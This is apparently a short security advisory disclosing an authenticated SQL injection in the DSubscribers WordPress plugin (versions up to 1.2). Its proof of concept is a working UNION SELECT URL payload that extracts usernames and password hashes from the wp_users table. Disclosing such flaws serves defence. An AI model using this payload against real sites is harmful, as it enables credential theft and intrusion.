Lucene search
Lenon Leite / Log.ptWPEX-ID:44A1E71B-A942-4252-999D-B8C8B42872A9HistoryJul 06, 2017 - 12:00 a.m.
DSubscribers <= 1.2 - Authenticated SQL Injection
2017-07-0600:00:00
Lenon Leite / Log.pt
4
The DSubscribers WordPress plugin was affected by an Authenticated SQL Injection security vulnerability.
Proof of Concept:
1 – Login with admin user:
2 – Url attack:
http://target/wp-admin/admin.php?page=dsubscribers&action=edit&dsubscribers=0 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass) FROM wp_users WHERE ID=1